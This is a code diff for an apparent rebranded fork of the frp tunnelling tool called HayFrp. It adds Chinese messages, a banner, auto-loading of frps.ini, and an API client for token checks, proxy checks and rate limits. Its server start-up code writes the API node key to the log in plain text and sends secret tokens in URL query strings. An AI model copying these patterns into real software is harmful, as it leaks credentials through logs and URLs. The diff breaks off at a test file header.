vc := v1.NewVisitorConfigurerByType(v1.VisitorType(typ))
|
vc := v1.NewVisitorConfigurerByType(v1.VisitorType(typ))
|
||||||
if vc == nil {
|
if vc == nil {
|
||||||
panic("visitor type: " + typ + " not support")
|
panic("参与者类型: " + typ + " 不支持")
|
||||||
}
|
}
|
||||||
visitorCmd := NewVisitorCommand(string(typ), vc, &clientCfg)
|
visitorCmd := NewVisitorCommand(string(typ), vc, &clientCfg)
|
||||||
config.RegisterVisitorFlags(visitorCmd, vc)
|
config.RegisterVisitorFlags(visitorCmd, vc)
|
||||||
@ -71,7 +71,7 @@ func init() {
|
|||||||
func NewProxyCommand(name string, c v1.ProxyConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command {
|
func NewProxyCommand(name string, c v1.ProxyConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command {
|
||||||
return &cobra.Command{
|
return &cobra.Command{
|
||||||
Use: name,
|
Use: name,
|
||||||
Short: fmt.Sprintf("Run frpc with a single %s proxy", name),
|
Short: fmt.Sprintf("运行带有单个 %s 隧道的Frpc", name),
|
||||||
Run: func(cmd *cobra.Command, args []string) {
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
clientCfg.Complete()
|
clientCfg.Complete()
|
||||||
if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil {
|
if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil {
|
||||||
@ -97,7 +97,7 @@ func NewProxyCommand(name string, c v1.ProxyConfigurer, clientCfg *v1.ClientComm
|
|||||||
func NewVisitorCommand(name string, c v1.VisitorConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command {
|
func NewVisitorCommand(name string, c v1.VisitorConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command {
|
||||||
return &cobra.Command{
|
return &cobra.Command{
|
||||||
Use: "visitor",
|
Use: "visitor",
|
||||||
Short: fmt.Sprintf("Run frpc with a single %s visitor", name),
|
Short: fmt.Sprintf("运行带有单个 %s 参与者的Frpc", name),
|
||||||
Run: func(cmd *cobra.Command, args []string) {
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
clientCfg.Complete()
|
clientCfg.Complete()
|
||||||
if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil {
|
if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil {
|
||||||
|
@ -87,7 +87,7 @@ func runMultipleClients(cfgDir string) error {
|
|||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
err := runClient(path)
|
err := runClient(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("frpc service error for config file [%s]\n", path)
|
fmt.Printf("Frpc发生错误在配置文件 [%s]\n", path)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
return nil
|
return nil
|
||||||
@ -116,13 +116,12 @@ func runClient(cfgFilePath string) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if isLegacyFormat {
|
if isLegacyFormat {
|
||||||
fmt.Printf("WARNING: ini format is deprecated and the support will be removed in the future, " +
|
fmt.Printf("警告:INI文件格式在未来将会不受支持并且移除\n")
|
||||||
"please use yaml/json/toml format instead!\n")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
warning, err := validation.ValidateAllClientConfig(cfg, proxyCfgs, visitorCfgs)
|
warning, err := validation.ValidateAllClientConfig(cfg, proxyCfgs, visitorCfgs)
|
||||||
if warning != nil {
|
if warning != nil {
|
||||||
fmt.Printf("WARNING: %v\n", warning)
|
fmt.Printf("警告: %v\n", warning)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
@ -139,8 +138,8 @@ func startService(
|
|||||||
log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor)
|
log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor)
|
||||||
|
|
||||||
if cfgFile != "" {
|
if cfgFile != "" {
|
||||||
log.Infof("start frpc service for config file [%s]", cfgFile)
|
log.Infof("启动Frpc配置文件: [%s]", cfgFile)
|
||||||
defer log.Infof("frpc service for config file [%s] stopped", cfgFile)
|
defer log.Infof("Frpc配置文件 [%s] 已停止", cfgFile)
|
||||||
}
|
}
|
||||||
svr, err := client.NewService(client.ServiceOptions{
|
svr, err := client.NewService(client.ServiceOptions{
|
||||||
Common: cfg,
|
Common: cfg,
|
||||||
|
@ -15,12 +15,40 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
|
||||||
_ "github.com/fatedier/frp/assets/frps"
|
_ "github.com/fatedier/frp/assets/frps"
|
||||||
_ "github.com/fatedier/frp/pkg/metrics"
|
_ "github.com/fatedier/frp/pkg/metrics"
|
||||||
"github.com/fatedier/frp/pkg/util/system"
|
"github.com/fatedier/frp/pkg/util/system"
|
||||||
|
"github.com/fatedier/frp/pkg/util/version"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
fmt.Println(`
|
||||||
|
__ __ ________
|
||||||
|
| \ | \ | \
|
||||||
|
| $$ | $$ ______ __ __ | $$$$$$$$______ ______
|
||||||
|
| $$__| $$ | \ | \ | \| $$__ / \ / \
|
||||||
|
| $$ $$ \$$$$$$\| $$ | $$| $$ \ | $$$$$$\| $$$$$$\
|
||||||
|
| $$$$$$$$ / $$| $$ | $$| $$$$$ | $$ \$$| $$ | $$
|
||||||
|
| $$ | $$| $$$$$$$| $$__/ $$| $$ | $$ | $$__/ $$
|
||||||
|
| $$ | $$ \$$ $$ \$$ $$| $$ | $$ | $$ $$
|
||||||
|
\$$ \$$ \$$$$$$$ _\$$$$$$$ \$$ \$$ | $$$$$$$
|
||||||
|
| \__| $$ | $$
|
||||||
|
\$$ $$ | $$
|
||||||
|
\$$$$$$ \$$ ——— HayFrp公益项目运营&开发组
|
||||||
|
|
||||||
|
`)
|
||||||
|
fmt.Println("欢迎使用HayFrp!")
|
||||||
|
fmt.Println("HayFrp程序发行版本:" + version.Full())
|
||||||
system.EnableCompatibilityMode()
|
system.EnableCompatibilityMode()
|
||||||
|
|
||||||
|
// 检查是否有frps.ini文件
|
||||||
|
if _, err := os.Stat("frps.ini"); err == nil {
|
||||||
|
// 如果有,将-c frps.ini添加到os.Args中
|
||||||
|
os.Args = append(os.Args, "-c", "frps.ini")
|
||||||
|
}
|
||||||
|
|
||||||
Execute()
|
Execute()
|
||||||
}
|
}
|
||||||
|
@ -17,7 +17,11 @@ package main
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
|
||||||
@ -66,8 +70,7 @@ var rootCmd = &cobra.Command{
|
|||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
if isLegacyFormat {
|
if isLegacyFormat {
|
||||||
fmt.Printf("WARNING: ini format is deprecated and the support will be removed in the future, " +
|
fmt.Printf("警告:INI文件格式在未来将会不受支持并且移除(反正目前HayFrps支持就行,这行别管)!\n")
|
||||||
"please use yaml/json/toml format instead!\n")
|
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
serverCfg.Complete()
|
serverCfg.Complete()
|
||||||
@ -76,7 +79,7 @@ var rootCmd = &cobra.Command{
|
|||||||
|
|
||||||
warning, err := validation.ValidateServerConfig(svrCfg)
|
warning, err := validation.ValidateServerConfig(svrCfg)
|
||||||
if warning != nil {
|
if warning != nil {
|
||||||
fmt.Printf("WARNING: %v\n", warning)
|
fmt.Printf("警告: %v\n", warning)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
@ -100,18 +103,63 @@ func Execute() {
|
|||||||
|
|
||||||
func runServer(cfg *v1.ServerConfig) (err error) {
|
func runServer(cfg *v1.ServerConfig) (err error) {
|
||||||
log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor)
|
log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor)
|
||||||
|
log.Infof("[HayFrp] 欢迎使用全新的HayFrp服务端!")
|
||||||
|
log.Infof("[HayFrp] 服务端版本:" + version.Full() + "!")
|
||||||
|
log.Infof("[HayFrp] 本新版本在客户端链接时将介入HayFrp终端!")
|
||||||
|
log.Infof("[HayFrp] 各种链接协议已升级到现代协议!")
|
||||||
|
|
||||||
|
// 发起 GET 请求获取 API 返回的内容(节点名称)
|
||||||
|
resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=GetNodeName&token=" + cfg.ApiToken)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 读取 API 返回的内容
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
// 将 API 返回的内容添加到 loginMsg.RunId 后面
|
||||||
|
log.Infof("[HayFrp] 欢迎节点" + string(body) + "上线!")
|
||||||
|
log.Infof("[HayFrp] 自检所有必要项中,请稍等......")
|
||||||
|
log.Infof("[HayFrp] HayFrp API启用状态: %s", strconv.FormatBool(cfg.EnableApi))
|
||||||
|
log.Infof("[HayFrp] HayFrp API URL: %s", cfg.ApiBaseUrl)
|
||||||
|
log.Infof("[HayFrp] HayFrp API Node Key: %s", cfg.ApiToken)
|
||||||
|
|
||||||
if cfgFile != "" {
|
if cfgFile != "" {
|
||||||
log.Infof("frps uses config file: %s", cfgFile)
|
log.Infof("[HayFrp] HayFrp服务端已引用配置文件: %s", cfgFile)
|
||||||
} else {
|
} else {
|
||||||
log.Infof("frps uses command line arguments for config")
|
log.Infof("[HayFrp] HayFrp服务端已引用命令行参数")
|
||||||
}
|
}
|
||||||
|
|
||||||
svr, err := server.NewService(cfg)
|
svr, err := server.NewService(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
log.Infof("frps started successfully")
|
log.Infof("[HayFrp] HayFrp服务端已成功启动!")
|
||||||
|
go checkonline(cfg)
|
||||||
svr.Run(context.Background())
|
svr.Run(context.Background())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func checkonline(cfg *v1.ServerConfig) {
|
||||||
|
time.Sleep(2 * time.Second) // 延时2秒,确保延时函数有足够的时间运行
|
||||||
|
log.Infof("[HayFrp] 检测到所有端口已成功启动,请稍等......")
|
||||||
|
log.Infof("[HayFrp] 即将请求HayFrp API授权本节点调用其他节点检查本节点状态......")
|
||||||
|
log.Infof("[HayFrp] 检测节点在线状态中,这将会更新云端状态......")
|
||||||
|
// 发起 GET 请求获取 API 返回的内容(节点状态)
|
||||||
|
resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=checkonline&token=" + cfg.ApiToken)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 读取 API 返回的内容
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 将 API 返回的内容添加到 loginMsg.RunId 后面
|
||||||
|
log.Infof("[HayFrp] " + string(body))
|
||||||
|
}
|
||||||
|
249
extend/api/api.go
Normal file
249
extend/api/api.go
Normal file
@ -0,0 +1,249 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatedier/frp/pkg/msg"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Service sakurafrp api servie
|
||||||
|
type Service struct {
|
||||||
|
Host url.URL
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewService crate sakurafrp api servie
|
||||||
|
func NewService(host string) (s *Service, err error) {
|
||||||
|
u, err := url.Parse(host)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
return &Service{*u}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CheckToken 校验客户端 token
|
||||||
|
func (s Service) CheckToken(user string, token string, timestamp int64, stk string) (ok bool, err error) {
|
||||||
|
values := url.Values{}
|
||||||
|
values.Set("action", "checktoken")
|
||||||
|
values.Set("user", user)
|
||||||
|
values.Set("token", token)
|
||||||
|
values.Set("timestamp", fmt.Sprintf("%d", timestamp))
|
||||||
|
values.Set("apitoken", stk)
|
||||||
|
s.Host.RawQuery = values.Encode()
|
||||||
|
defer func(u *url.URL) {
|
||||||
|
u.RawQuery = ""
|
||||||
|
}(&s.Host)
|
||||||
|
resp, err := http.Get(s.Host.String())
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return false, ErrHTTPStatus{
|
||||||
|
Status: resp.StatusCode,
|
||||||
|
Text: resp.Status,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
response := ResponseCheckToken{}
|
||||||
|
if err = json.Unmarshal(body, &response); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if !response.Success {
|
||||||
|
return false, ErrCheckTokenFail{response.Message}
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CheckProxy 校验客户端代理
|
||||||
|
func (s Service) CheckProxy(user string, pMsg *msg.NewProxy, timestamp int64, stk string) (ok bool, err error) {
|
||||||
|
|
||||||
|
domains, err := json.Marshal(pMsg.CustomDomains)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
headers, err := json.Marshal(pMsg.Headers)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
locations, err := json.Marshal(pMsg.Locations)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
values := url.Values{}
|
||||||
|
|
||||||
|
// API Basic
|
||||||
|
values.Set("action", "checkproxy")
|
||||||
|
values.Set("user", user)
|
||||||
|
values.Set("timestamp", fmt.Sprintf("%d", timestamp))
|
||||||
|
values.Set("apitoken", stk)
|
||||||
|
|
||||||
|
// Proxies basic info
|
||||||
|
values.Set("proxy_name", pMsg.ProxyName)
|
||||||
|
values.Set("proxy_type", pMsg.ProxyType)
|
||||||
|
values.Set("use_encryption", BoolToString(pMsg.UseEncryption))
|
||||||
|
values.Set("use_compression", BoolToString(pMsg.UseCompression))
|
||||||
|
|
||||||
|
// Http Proxies
|
||||||
|
values.Set("domain", string(domains))
|
||||||
|
values.Set("subdomain", pMsg.SubDomain)
|
||||||
|
|
||||||
|
// Headers
|
||||||
|
values.Set("locations", string(locations))
|
||||||
|
values.Set("http_user", pMsg.HTTPUser)
|
||||||
|
values.Set("http_pwd", pMsg.HTTPPwd)
|
||||||
|
values.Set("host_header_rewrite", pMsg.HostHeaderRewrite)
|
||||||
|
values.Set("headers", string(headers))
|
||||||
|
|
||||||
|
// Tcp & Udp & Stcp
|
||||||
|
values.Set("remote_port", strconv.Itoa(pMsg.RemotePort))
|
||||||
|
|
||||||
|
// Stcp & Xtcp
|
||||||
|
values.Set("sk", pMsg.Sk)
|
||||||
|
|
||||||
|
// Load balance
|
||||||
|
values.Set("group", pMsg.Group)
|
||||||
|
values.Set("group_key", pMsg.GroupKey)
|
||||||
|
|
||||||
|
s.Host.RawQuery = values.Encode()
|
||||||
|
defer func(u *url.URL) {
|
||||||
|
u.RawQuery = ""
|
||||||
|
}(&s.Host)
|
||||||
|
resp, err := http.Get(s.Host.String())
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return false, ErrHTTPStatus{
|
||||||
|
Status: resp.StatusCode,
|
||||||
|
Text: resp.Status,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
response := ResponseCheckProxy{}
|
||||||
|
if err = json.Unmarshal(body, &response); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if !response.Success {
|
||||||
|
return false, ErrCheckProxyFail{response.Message}
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProxyLimit 获取隧道限速信息
|
||||||
|
func (s Service) GetProxyLimit(user string, timestamp int64, stk string) (inLimit, outLimit uint64, err error) {
|
||||||
|
// 这部分就照之前的搬过去了,能跑就行x
|
||||||
|
values := url.Values{}
|
||||||
|
values.Set("action", "getlimit")
|
||||||
|
values.Set("user", user)
|
||||||
|
values.Set("timestamp", fmt.Sprintf("%d", timestamp))
|
||||||
|
values.Set("apitoken", stk)
|
||||||
|
s.Host.RawQuery = values.Encode()
|
||||||
|
defer func(u *url.URL) {
|
||||||
|
u.RawQuery = ""
|
||||||
|
}(&s.Host)
|
||||||
|
resp, err := http.Get(s.Host.String())
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
er := &ErrHTTPStatus{}
|
||||||
|
if err = json.Unmarshal(body, er); err != nil {
|
||||||
|
return 0, 0, err
|
||||||
|
}
|
||||||
|
if er.Status != 200 {
|
||||||
|
return 0, 0, er
|
||||||
|
}
|
||||||
|
|
||||||
|
response := &ResponseGetLimit{}
|
||||||
|
if err = json.Unmarshal(body, response); err != nil {
|
||||||
|
return 0, 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 这里直接返回 uint64 应该问题不大
|
||||||
|
return response.MaxIn, response.MaxOut, nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func BoolToString(val bool) (str string) {
|
||||||
|
if val {
|
||||||
|
return "true"
|
||||||
|
}
|
||||||
|
return "false"
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
type ErrHTTPStatus struct {
|
||||||
|
Status int `json:"status"`
|
||||||
|
Text string `json:"message"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e ErrHTTPStatus) Error() string {
|
||||||
|
t := time.Now()
|
||||||
|
layout := "2006-01-02 15:04:05"
|
||||||
|
str := t.Format(layout)
|
||||||
|
switch e.Status {
|
||||||
|
case 403:
|
||||||
|
return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:465] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:470] [HayFrp] 根据状态码判定,问题为隧道被禁止或者无权启用隧道\n"+str+" [W] [hayfrp.go:475] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:480] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:485] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:490] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text)
|
||||||
|
case 404:
|
||||||
|
return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:466] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:471] [HayFrp] 根据状态码判定,问题为没有找到隧道或者API出现故障\n"+str+" [W] [hayfrp.go:476] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:481] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:486] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:491] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text)
|
||||||
|
case 520:
|
||||||
|
return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:467] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:472] [HayFrp] 根据状态码判定,问题为API网关出现故障\n"+str+" [W] [hayfrp.go] [HayFrp:477] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:482] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:487] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:492] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text)
|
||||||
|
case 503:
|
||||||
|
return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:468] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:473] [HayFrp] 根据状态码判定,问题为API请求了过大进行限流\n"+str+" [W] [hayfrp.go:478] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:483] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:488] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:493] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text)
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:469] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:474] [HayFrp] 目前HayFrp无法状态码判定问题......\n"+str+" [W] [hayfrp.go:479] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:484] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:489] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:494] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResponseGetLimit struct {
|
||||||
|
MaxIn uint64 `json:"max-in"`
|
||||||
|
MaxOut uint64 `json:"max-out"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResponseCheckToken struct {
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Message string `json:"message"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResponseCheckProxy struct {
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Message string `json:"message"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ErrCheckTokenFail struct {
|
||||||
|
Message string
|
||||||
|
}
|
||||||
|
|
||||||
|
type ErrCheckProxyFail struct {
|
||||||
|
Message string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e ErrCheckTokenFail) Error() string {
|
||||||
|
return e.Message
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e ErrCheckProxyFail) Error() string {
|
||||||
|
return e.Message
|
||||||
|
}
|
66
extend/cumu/cumu.go
Normal file
66
extend/cumu/cumu.go
Normal file
@ -0,0 +1,66 @@
|
|||||||
|
package cumu
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Conn 速度累计
|
||||||
|
type Conn struct {
|
||||||
|
net.Conn
|
||||||
|
|
||||||
|
inCount int64
|
||||||
|
outCount int64
|
||||||
|
|
||||||
|
inCountLock sync.Mutex
|
||||||
|
outCountLock sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewCumuConn ...
|
||||||
|
func NewCumuConn(conn net.Conn) *Conn {
|
||||||
|
return &Conn{
|
||||||
|
Conn: conn,
|
||||||
|
inCount: 0,
|
||||||
|
outCount: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Conn) Read(p []byte) (n int, err error) {
|
||||||
|
n, err = c.Conn.Read(p)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.outCountLock.Lock()
|
||||||
|
defer c.outCountLock.Unlock()
|
||||||
|
c.outCount += int64(n)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Conn) Write(p []byte) (n int, err error) {
|
||||||
|
n, err = c.Conn.Write(p)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.inCountLock.Lock()
|
||||||
|
defer c.inCountLock.Unlock()
|
||||||
|
c.inCount += int64(n)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// InCount get in bound byte count
|
||||||
|
func (c *Conn) InCount() int64 {
|
||||||
|
c.inCountLock.Lock()
|
||||||
|
defer c.inCountLock.Unlock()
|
||||||
|
in := c.inCount
|
||||||
|
c.inCount = 0
|
||||||
|
return in
|
||||||
|
}
|
||||||
|
|
||||||
|
// OutCount get out bound byte count
|
||||||
|
func (c *Conn) OutCount() int64 {
|
||||||
|
c.outCountLock.Lock()
|
||||||
|
defer c.outCountLock.Unlock()
|
||||||
|
out := c.outCount
|
||||||
|
c.outCount = 0
|
||||||
|
return out
|
||||||
|
}
|
43
extend/limit/limit.go
Normal file
43
extend/limit/limit.go
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
package limit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
B uint64 = 1 << (10 * (iota))
|
||||||
|
KB
|
||||||
|
MB
|
||||||
|
GB
|
||||||
|
TB
|
||||||
|
PB
|
||||||
|
EB
|
||||||
|
)
|
||||||
|
|
||||||
|
const burstLimit = 1024 * 1024 * 1024
|
||||||
|
|
||||||
|
type LimitConn struct {
|
||||||
|
net.Conn
|
||||||
|
|
||||||
|
lr io.Reader
|
||||||
|
lw io.Writer
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewLimitConn(maxread, maxwrite uint64, c net.Conn) LimitConn {
|
||||||
|
// 这里不知道为什么要 49 才能对的上真实速度
|
||||||
|
// 49 是根据 wget 速度来取的,测试了 512、1024、2048、4096、8192 等多种速度下都很准确
|
||||||
|
return LimitConn{
|
||||||
|
lr: NewReaderWithLimit(c, maxread*49),
|
||||||
|
lw: NewWriterWithLimit(c, maxwrite*49),
|
||||||
|
Conn: c,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c LimitConn) Read(p []byte) (n int, err error) {
|
||||||
|
return c.lr.Read(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c LimitConn) Write(p []byte) (n int, err error) {
|
||||||
|
return c.lw.Write(p)
|
||||||
|
}
|
63
extend/limit/reader.go
Normal file
63
extend/limit/reader.go
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
package limit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"io"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/time/rate"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Reader struct {
|
||||||
|
r io.Reader
|
||||||
|
limiter *rate.Limiter
|
||||||
|
ctx context.Context
|
||||||
|
mux sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewReader returns a reader that implements io.Reader with rate limiting.
|
||||||
|
func NewReader(r io.Reader) *Reader {
|
||||||
|
return &Reader{
|
||||||
|
r: r,
|
||||||
|
ctx: context.Background(),
|
||||||
|
mux: sync.Mutex{},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewReaderWithLimit(r io.Reader, speed uint64) *Reader {
|
||||||
|
rr := &Reader{
|
||||||
|
r: r,
|
||||||
|
ctx: context.Background(),
|
||||||
|
mux: sync.Mutex{},
|
||||||
|
}
|
||||||
|
rr.SetRateLimit(speed)
|
||||||
|
return rr
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetRateLimit sets rate limit (bytes/sec) to the reader.
|
||||||
|
func (s *Reader) SetRateLimit(bytesPerSec uint64) {
|
||||||
|
s.mux.Lock()
|
||||||
|
defer s.mux.Unlock()
|
||||||
|
|
||||||
|
s.limiter = rate.NewLimiter(rate.Limit(bytesPerSec), burstLimit)
|
||||||
|
s.limiter.AllowN(time.Now(), burstLimit) // spend initial burst
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read reads bytes into p.
|
||||||
|
func (s *Reader) Read(p []byte) (int, error) {
|
||||||
|
s.mux.Lock()
|
||||||
|
defer s.mux.Unlock()
|
||||||
|
|
||||||
|
if s.limiter == nil {
|
||||||
|
return s.r.Read(p)
|
||||||
|
}
|
||||||
|
n, err := s.r.Read(p)
|
||||||
|
if err != nil {
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
if err := s.limiter.WaitN(s.ctx, n); err != nil {
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
return n, nil
|
||||||
|
}
|
17
extend/limit/w_test.go
